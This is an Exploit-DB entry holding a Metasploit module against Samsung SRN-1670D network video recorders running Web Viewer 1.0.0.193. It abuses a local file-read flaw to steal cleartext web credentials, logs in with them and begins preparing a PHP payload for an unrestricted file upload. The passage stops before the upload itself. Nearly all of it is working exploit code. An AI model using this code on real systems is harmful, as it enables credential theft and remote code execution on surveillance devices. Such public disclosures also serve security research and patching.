Exploit-DB #43138
Description: Web Viewer 1.0.0.193 (Samsung SRN-1670D) - Unrestricted File Upload
Type: webapps
Platform: php
Date: 2017-11-13
Author: 0xFFFFFF

Exploit:
# Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Date: 2017-06-19
# Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com
# Vendor Homepage: https://www.hanwhasecurity.com
# Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Tested on: Web Viewer 1.0.0.193 
# CVE : CVE-2017-16524
##
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'digest'

class MetasploitModule < Msf::Exploit::Remote
  	
  	Rank = GoodRanking
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
	    super(update_info(info,
	      'Name'           => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload',
	      'Description'    => %q{
		This module exploits an Unrestricted file upload vulnerability in 
		Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php' 
		allows remote authenticated attackers to upload and execute arbitrary
		PHP code via a filename with a .php extension, which is then accessed via a
		direct request to the file in the upload/ directory. 
		To authenticate for this attack, one can obtain web-interface credentials 
		in cleartext by leveraging the existing Local File Read Vulnerability 
		referenced as CVE-2015-8279, which allows remote attackers to read the 
		web interface credentials via a request for the
		cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
	      },

	      'Author'         => [
		'Omar Mezrag <omar.mezrag@realistic-security.com>',  # @_0xFFFFFF
	        'Realistic Security',
	        'Algeria'
	       ],
	      'License'        => MSF_LICENSE,
	      'References'     =>
	        [
	          [ 'CVE', '2017-16524' ],
	          [ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
	          [ 'CVE', '2015-8279' ],
	          [ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
	        ],
	      'Privileged'     => true,
	      'Arch'           => ARCH_PHP,
	      'Platform'       => 'php',
	      'Targets'        =>
	        [
			['Samsung SRN-1670D == 1.0.0.193', {}]
	        ],
	      'DefaultTarget'  => 0,
	      'DisclosureDate' => 'Mar 14 2017'
	    ))

	    register_options(
	      [
	        OptString.new('RHOST', [ true, 'The target address.' ]),
		OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]),
	      ])
	end


	def check
		#
		print_status('Checking version...') 

	 	resp = send_request_cgi({
			'uri'     =>  "/index",
			'version' => '1.1',
			'method' => 'GET',
			'headers' =>
				{
				   'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
				}
	        })
	    
		unless resp
			print_error("Connection timed out.")
			return Exploit::CheckCode::Unknown
		end
		#        <!---------------------------------   File Version 1.0.0.193   --------------------------------->
		version = nil
		if resp and resp.code == 200  and resp.body.match(/Web Viewer for Samsung NVR/)
				if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
					version = $1
					if version == '1.0.0.193'
						print_good "Found vesrion: #{version}"
						return Exploit::CheckCode::Appears
					end
				end
		end

		Exploit::CheckCode::Safe

	end

  	def exploit

	 
		print_status('Obtaining credentails...') 
	 
	 	resp = send_request_cgi({
			'uri'     =>  "/cslog_export.php",
			'version' => '1.1',
			'method' => 'GET',
			'vars_get'=>
				{
				'path' => '/root/php_modules/lighttpd/sbin/userpw',
				'file' => 'foo'
				},
			'headers' =>
				{
				   'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
				}
	        })
		
		unless resp
			print_error("Connection timed out.")
			return Exploit::CheckCode::Unknown
		end

		if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
			username =  resp.body.split(':')[0]
			password =  resp.body.split(':')[1].gsub("\n",'')
			print_good "Credentials obtained successfully: #{username}:#{password}"
				

				data1 = Rex::Text.encode_base64("#{username}")
				data2 = Digest::SHA256.hexdigest("#{password}")

				randfloat  = Random.new
				data3 =  randfloat.rand(0.9)
				data4 = data3

				print_status('Logging...') 

			 	resp = send_request_cgi({
					'uri'     =>  "/login",
					'version' => '1.1',
					'method' => 'POST',
					'vars_post'=>
						{
							'data1' => data1,
							'data2' => data2,
							'data3' => data3,
							'data4' => data4
						},
					'headers' =>
						{
						   'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
						   'DNT' => "1",
						   'Cookie' => "IESEVEN=1"
						}
				})

				unless resp
					print_error("Connection timed out.")
					return Exploit::CheckCode::Unknown
				end
				
				if resp and resp.code == 200  and resp.body !~ /ID incorrecte/  and resp.body =~ /setCookie\('NVR_DATA1/

					print_good('Authentication Succeeded') 

					nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
					nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
					nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
					nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
					nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
					nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
					nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/

					cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"

					payload_name = "#{rand_text_alpha(8)}.php"

					print_status("Generating payload[ #{payload_name} ]...")